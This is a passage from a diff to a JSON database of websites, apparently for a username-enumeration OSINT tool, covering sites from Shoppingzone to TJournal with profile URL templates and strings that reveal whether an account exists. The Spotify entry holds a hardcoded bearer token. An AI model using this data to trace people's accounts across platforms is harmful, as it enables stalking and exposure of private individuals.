"checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 301890, + "urlMain": "http://shoppingzone.ru", + "url": "http://shoppingzone.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "eleonor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shotbow": { + "disabled": true, + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1487736, + "urlMain": "https://shotbow.net", + "usernameClaimed": "velb", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Showme": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 113043, + "urlMain": "https://www.showme.com", + "url": "https://www.showme.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Shutterstock": { + "tags": [ + "music", + "photo", + "stock", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This surprising...", + "Unfortunately, we can't find what you're looking for.", + "Not Found | Shutterstock" + ], + "presenseStrs": [ + "{username}", + "Information" + ], + "alexaRank": 184, + "urlMain": "https://www.shutterstock.com", + "url": "https://www.shutterstock.com/g/{username}/about", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Signal": { + "tags": [ + "forum", + "tech" + ], + "engine": "Discourse", + "alexaRank": 854551, + "urlMain": "https://community.signalusers.org", + "usernameClaimed": "jlund", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Silver-collector": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://www.silver-collector.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9494921 + }, + "Skeb.jp": { + "checkType": "message", + "absenceStrs": [ + "Skeb - Request Box" + ], + "presenseStrs": [ + ") | Skeb" + ], + "url": "https://skeb.jp/@{username}", + "usernameClaimed": "eipuru_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SkodaForum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://www.skodaforum.ru", + "usernameClaimed": "rivera", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2785680 + }, + "Skyrimforums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 351300, + "urlMain": "https://skyrimforums.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Skyrock": { + "disabled": true, + "tags": [ + "fr", + "in" + ], + "regexCheck": "^[^_\\.]+$", + "checkType": "status_code", + "alexaRank": 8927, + "urlMain": "https://skyrock.com/", + "url": "https://{username}.skyrock.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SkyscraperCity": { + "tags": [ + "de", + "forum", + "pl", + "us" + ], + "engine": "XenForo", + "alexaRank": 7167, + "urlMain": "https://www.skyscrapercity.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slack": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 200, + "urlMain": "https://slack.com", + "url": "https://{username}.slack.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slant.co": { + "checkType": "message", + "absenceStrs": [ + "404 - Page Not Found - Slant" + ], + "presenseStrs": [ + "s Profile - Slant" + ], + "url": "https://www.slant.co/users/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Slashdot": { + "tags": [ + "news" + ], + "errors": { + "503 - Service Offline": "Site error" + }, + "checkType": "message", + "absenceStrs": [ + "user you requested does not exist" + ], + "alexaRank": 5720, + "urlMain": "https://slashdot.org", + "url": "https://slashdot.org/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SlideShare": { + "checkType": "message", + "alexaRank": 158, + "urlMain": "https://www.slideshare.net", + "url": "https://www.slideshare.net/{username}", + "usernameClaimed": "KumarSurya7", + "usernameUnclaimed": "kwbmsonxvp", + "presenseStrs": [ + "user-name", + "pageInfo", + "listitem", + "polite", + "strippedTitle" + ], + "absenceStrs": [ + "blankProfile", + "username-available", + "robots", + "noindex,nofollow" + ] + }, + "Slides": { + "tags": [ + "sharing" + ], + "checkType": "status_code", + "alexaRank": 15124, + "urlMain": "https://slides.com/", + "url": "https://slides.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smashcast": { + "disabled": true, + "tags": [ + "gr", + "us" + ], + "checkType": "status_code", + "alexaRank": 1945337, + "urlMain": "https://www.smashcast.tv/", + "url": "https://www.smashcast.tv/api/media/live/{username}", + "usernameClaimed": "hello", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smashrun": { + "tags": [ + "br", + "jp", + "us" + ], + "checkType": "status_code", + "alexaRank": 734940, + "urlMain": "https://smashrun.com/", + "url": "https://smashrun.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smogon": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found." + ], + "alexaRank": 29110, + "urlMain": "https://www.smogon.com", + "url": "https://www.smogon.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smugmug": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 5905, + "urlMain": "https://smugmug.com/", + "url": "https://{username}.smugmug.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Smule": { + "tags": [ + "music" + ], + "checkType": "message", + "presenseStrs": [ + "Profile: " + ], + "absenceStrs": [ + "Smule | Page Not Found (404)" + ], + "alexaRank": 11742, + "urlMain": "https://www.smule.com/", + "url": "https://www.smule.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Snbforums": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 53321, + "urlMain": "https://www.snbforums.com", + "url": "https://www.snbforums.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Snooth": { + "tags": [ + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "content=\"https://www.snooth.com/author/" + ], + "alexaRank": 4088489, + "urlMain": "https://www.snooth.com/", + "url": "https://www.snooth.com/author/{username}/", + "usernameClaimed": "joshua", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SocialLibremOne": { + "checkType": "status_code", + "alexaRank": 959007, + "urlMain": "https://social.librem.one", + "url": "https://social.librem.one/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "tech" + ] + }, + "SoftwareInformer": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 1288, + "urlMain": "https://users.software.informer.com", + "url": "https://users.software.informer.com/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Solaris-club": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 781686, + "urlMain": "https://solaris-club.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Solikick": { + "checkType": "message", + "absenceStrs": [ + "This item has been removed or is no longer available" + ], + "presenseStrs": [ + "page_guest_users-view" + ], + "url": "https://solikick.com/-{username}", + "usernameClaimed": "Edmundus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Soloby": { + "disabled": true, + "tags": [ + "by", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 8019, + "urlMain": "http://www.soloby.ru", + "url": "http://www.soloby.ru/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Soobshestva": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 8132021, + "urlMain": "http://www.soobshestva.ru/", + "url": "http://www.soobshestva.ru/forum/user/{username}/", + "usernameClaimed": "lisa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SoundCloud": { + "tags": [ + "music" + ], + "checkType": "status_code", + "urlMain": "https://soundcloud.com/", + "url": "https://soundcloud.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 125 + }, + "Soundgym": { + "tags": [ + "il", + "in", + "us" + ], + "checkType": "response_url", + "urlMain": "https://www.soundgym.co", + "url": "https://www.soundgym.co/member/profile?m={username}", + "usernameClaimed": "raydrcougso", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 104661 + }, + "Soup": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 18850, + "urlMain": "https://soup.io", + "url": "https://www.soup.io/author/{username}", + "usernameClaimed": "cristina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SourceForge": { + "tags": [ + "coding", + "us" + ], + "checkType": "message", + "alexaRank": 444, + "urlMain": "https://sourceforge.net/", + "url": "https://sourceforge.net/u/{username}/profile", + "presenseStrs": [ + "Personal Tools" + ], + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Southklad": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 466872, + "urlMain": "https://southklad.ru", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spaces": { + "tags": [ + "blog", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0434\u0430\u0440\u043e\u043a" + ], + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 49381, + "urlMain": "https://spaces.im", + "url": "https://spaces.im/mysite/index/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spankpay": { + "checkType": "message", + "absenceStrs": [ + "<title>SpankPay.Me" + ], + "presenseStrs": [ + " - SpankPay.Me" + ], + "url": "https://spankpay.me/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Spark": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 40675, + "urlMain": "https://spark.ru", + "url": "https://spark.ru/startup/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Speakerdeck": { + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "User Not Found" + ], + "alexaRank": 13234, + "urlMain": "https://speakerdeck.com", + "url": "https://speakerdeck.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Speedrun.com": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Not found - Speedrun" + ], + "presenseStrs": [ + "\"user\":{\"id\":\"" + ], + "alexaRank": 9724, + "urlMain": "https://speedrun.com/", + "url": "https://speedrun.com/users/{username}", + "usernameClaimed": "3Tau", + "usernameUnclaimed": "noonewould" + }, + "SpiceWorks": { + "checkType": "status_code", + "urlMain": "https://community.spiceworks.co", + "url": "https://community.spiceworks.com/people/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "Splice": { + "checkType": "status_code", + "url": "https://splice.com/{username}", + "usernameClaimed": "splice", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Splits.io": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1037917, + "urlMain": "https://splits.io", + "url": "https://splits.io/users/{username}", + "usernameClaimed": "cambosteve", + "usernameUnclaimed": "noonewould" + }, + "Sporcle": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 4509, + "urlMain": "https://www.sporcle.com/", + "url": "https://www.sporcle.com/user/{username}/people", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sportlerfrage": { + "checkType": "status_code", + "url": "https://www.sportlerfrage.net/nutzer/{username}", + "usernameClaimed": "sportlerfrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SportsTracker": { + "tags": [ + "pt", + "ru" + ], + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{username}", + "checkType": "message", + "absenceStrs": [ + "\"code\":\"404\"" + ], + "alexaRank": 235874, + "urlMain": "https://www.sports-tracker.com/", + "url": "https://www.sports-tracker.com/view_profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Spotify": { + "disabled": true, + "tags": [ + "music", + "us" + ], + "headers": { + "authorization": "Bearer BQDDk6n__YLKqIDKxBb2fvOZm6yxuOj0XeU0mCpRmBi_0UsUz2fUP-tFsl7IjT-YOCXxmvfzUMAnQ0Y4KBo" + }, + "errors": { + "Spotify is currently not available in your country.": "Access denied in your country, use proxy/vpn" + }, + "activation": { + "method": "spotify", + "marks": [ + "No token provided", + "The access token expired" + ], + "url": "https://open.spotify.com/get_access_token?reason=transport&productType=web_player", + "src": "accessToken", + "dst": "authorization" + }, + "urlProbe": "https://spclient.wg.spotify.com/user-profile-view/v3/profile/{username}?playlist_limit=10&artist_limit=10&market=EN", + "checkType": "status_code", + "alexaRank": 89, + "urlMain": "https://open.spotify.com/", + "url": "https://open.spotify.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sprashivai": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 82345, + "urlMain": "http://sprashivai.ru", + "url": "http://sprashivai.ru/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stalker-zone": { + "tags": [ + "ru" + ], + "presenseStrs": [ + " \u0418\u043c\u044f: " + ], + "engine": "uCoz", + "alexaRank": 4258382, + "urlMain": "http://stalker-zone.info", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Star Citizen": { + "disabled": true, + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "alexaRank": 22154, + "urlMain": "https://robertsspaceindustries.com/", + "url": "https://robertsspaceindustries.com/citizens/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Star Citizens Community": { + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "urlMain": "https://robertsspaceindustries.com/", + "url": "https://robertsspaceindustries.com/community-hub/user/{username}", + "usernameClaimed": "SentinelTheFirst", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Starsonice": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://starsonice.borda.ru", + "url": "https://starsonice.borda.ru/?32-{username}", + "usernameClaimed": "kara", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Starvault": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1765371, + "urlMain": "https://starvault.se", + "url": "https://starvault.se/mortalforums/members/?username={username}", + "usernameClaimed": "xunila", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "gaming" + ] + }, + "Statistika": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://statistika.ru", + "usernameClaimed": "hamam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Steam": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "The specified profile could not be found" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/id/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steam (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "absenceStrs": [ + "The specified profile could not be found" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/profiles/{username}", + "source": "Steam", + "usernameClaimed": "76561197960287930", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steam (Group)": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "No group could be retrieved for the given URL" + ], + "alexaRank": 379, + "urlMain": "https://steamcommunity.com/", + "url": "https://steamcommunity.com/groups/{username}", + "source": "Steam", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamid": { + "tags": [ + "gaming" + ], + "checkType": "message", + "absenceStrs": [ + "
    Profile not found
    " + ], + "alexaRank": 299167, + "urlMain": "https://steamid.uk/", + "url": "https://steamid.uk/profile/{username}", + "source": "Steam", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamid (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "absenceStrs": [ + "
    Profile not found
    " + ], + "alexaRank": 299167, + "urlMain": "https://steamid.uk/", + "url": "https://steamid.uk/profile/{username}", + "source": "Steam", + "usernameClaimed": "76561197982198022", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamidfinder": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "se our custom tools to build a Steam profile badge" + ], + "absenceStrs": [ + "could not be found." + ], + "alexaRank": 90197, + "urlMain": "https://steamidfinder.com", + "url": "https://steamidfinder.com/lookup/{username}", + "source": "Steam", + "usernameClaimed": "channel", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Steamidfinder (by id)": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "presenseStrs": [ + "se our custom tools to build a Steam profile badge" + ], + "absenceStrs": [ + "could not be found." + ], + "alexaRank": 90197, + "urlMain": "https://steamidfinder.com", + "url": "https://steamidfinder.com/lookup/{username}", + "source": "Steam", + "usernameClaimed": "76561197982198022", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stereo": { + "tags": [ + "nl", + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 46106, + "urlMain": "https://stereo.ru/", + "url": "https://stereo.ru/user/{username}", + "usernameClaimed": "Yamiha", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stihi.ru": { + "tags": [ + "ru", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 5026, + "urlMain": "https://www.stihi.ru/", + "url": "https://www.stihi.ru/avtor/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stoimost": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 2606124, + "urlMain": "https://stoimost.com.ua", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Storycorps": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 161477, + "urlMain": "https://archive.storycorps.org", + "url": "https://archive.storycorps.org/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Stratege": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "news", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 115288, + "urlMain": "https://www.stratege.ru", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Strava": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Strava | " + ], + "presenseStrs": [ + "Strava" + ], + "alexaRank": 1099, + "urlMain": "https://www.strava.com/", + "url": "https://www.strava.com/athletes/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Studfile": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "regexCheck": "^[^-]+$", + "alexaRank": 1499, + "urlMain": "https://studfile.net", + "url": "https://studfile.net/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Studwork": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0418\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "herdun" + ], + "alexaRank": 191670, + "urlMain": "https://studwork.org/", + "url": "https://studwork.org/info/{username}", + "usernameClaimed": "tmm22", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Stunited": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 2446369, + "urlMain": "http://stunited.org", + "url": "http://stunited.org/profile/{username}", + "usernameClaimed": "mani-vel", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "education" + ] + }, + "Subeta": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Invalid user" + ], + "alexaRank": 895833, + "urlMain": "https://subeta.net/", + "url": "https://subeta.net/users/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SublimeForum": { + "tags": [ + "coding", + "forum", + "in" + ], + "engine": "Discourse", + "alexaRank": 9081, + "urlMain": "https://forum.sublimetext.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Sugoidesu": { + "engine": "XenForo", + "alexaRank": 5060377, + "urlMain": "https://sugoidesu.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Suomi24": { + "tags": [ + "fi", + "jp" + ], + "checkType": "status_code", + "alexaRank": 40750, + "urlMain": "https://www.suomi24.fi", + "url": "https://www.suomi24.fi/profiili/{username}", + "usernameClaimed": "Kilgore", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Suzuri.jp": { + "checkType": "message", + "absenceStrs": [ + "404 | SUZURI" + ], + "presenseStrs": [ + "\u221e SUZURI\uff08\u30b9\u30ba\u30ea\uff09" + ], + "url": "https://suzuri.jp/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Swapd": { + "checkType": "status_code", + "url": "https://swapd.co/u/{username}", + "usernameClaimed": "swapd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SwimmingForum": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 7234157, + "urlMain": "http://forumswimming.ru", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Syktforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + ], + "urlMain": "http://syktforum.ru", + "url": "http://syktforum.ru/profile/{username}", + "usernameClaimed": "TonyT", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SyktyvkarOnline": { + "tags": [ + "ru" + ], + "errors": { + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434": "Verification redirect page" + }, + "checkType": "message", + "absenceStrs": [ + "", + "error404-404" + ], + "urlMain": "http://syktyvkar-online.ru", + "url": "http://syktyvkar-online.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Sysadmins": { + "tags": [ + "forum", + "ru", + "tech" + ], + "checkType": "message", + "absenceStrs": [ + "Could not obtain user posts information" + ], + "alexaRank": 163279, + "urlMain": "https://sysadmins.ru", + "url": "https://sysadmins.ru/member{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sythe": { + "tags": [ + "ca", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 47177, + "urlMain": "https://www.sythe.org", + "usernameClaimed": "rskingp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Szerokikadr.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie masz jeszcze konta?" + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://www.szerokikadr.pl/profil,{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Szmer.info": { + "checkType": "message", + "absenceStrs": [ + "Code: Couldn't find that username or email." + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://szmer.info/u/{username}", + "usernameClaimed": "Xavier", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "T-MobileSupport": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 990, + "urlMain": "https://support.t-mobile.com", + "url": "https://support.t-mobile.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Tanuki.pl": { + "checkType": "message", + "absenceStrs": [ + "Nie ma takiego u\u017cytkownika" + ], + "presenseStrs": [ + "Do\u0142\u0105czy\u0142" + ], + "url": "https://tanuki.pl/profil/{username}", + "usernameClaimed": "ania", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Taskrabbit": { + "checkType": "message", + "absenceStrs": [ + "TaskRabbit: Same Day Handyman, Moving & Delivery Services" + ], + "presenseStrs": [ + "\u2019s Profile" + ], + "url": "https://www.taskrabbit.com/profile/{username}/about", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TEENUS": { + "checkType": "message", + "presenseStrs": [ + "user-profile" + ], + "absenceStrs": [ + "Viimati lisatud" + ], + "alexaRank": 2699414, + "urlMain": "http://www.teenus.info", + "url": "http://www.teenus.info/kasutaja/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "business", + "ee" + ], + "disabled": true + }, + "Teknik": { + "checkType": "message", + "absenceStrs": [ + "The user does not exist" + ], + "presenseStrs": [ + "Public Key" + ], + "url": "https://user.teknik.io/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tenor.com": { + "checkType": "message", + "regexCheck": "^[A-Za-z0-9_]{2,32}$", + "absenceStrs": [ + "404 Error" + ], + "presenseStrs": [ + "s GIFs on Tenor" + ], + "url": "https://tenor.com/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tetr.io": { + "checkType": "message", + "absenceStrs": [ + "No such user!" + ], + "presenseStrs": [ + "success\":true" + ], + "url": "https://ch.tetr.io/api/users/{username}", + "usernameClaimed": "osk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tf2Items": { + "checkType": "message", + "absenceStrs": [ + "TF2 Backpack Examiner" + ], + "presenseStrs": [ + "TF2 Backpack -" + ], + "url": "http://www.tf2items.com/id/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tfl.net.pl": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@tfl.net.pl" + ], + "url": "https://tfl.net.pl/@{username}", + "usernameClaimed": "manies", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Thegatewaypundit": { + "checkType": "message", + "absenceStrs": [ + "Oops! That page can\u2019t be found." + ], + "presenseStrs": [ + "avatar avatar-50 photo" + ], + "url": "https://www.thegatewaypundit.com/author/{username}/", + "usernameClaimed": "patti", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thetattooforum": { + "checkType": "message", + "absenceStrs": [ + "We\u2019re sorry" + ], + "presenseStrs": [ + "Insert This Gallery" + ], + "url": "https://www.thetattooforum.com/members/{username}/", + "usernameClaimed": "mixdop", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TJournal": { + "disabled": true, + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, 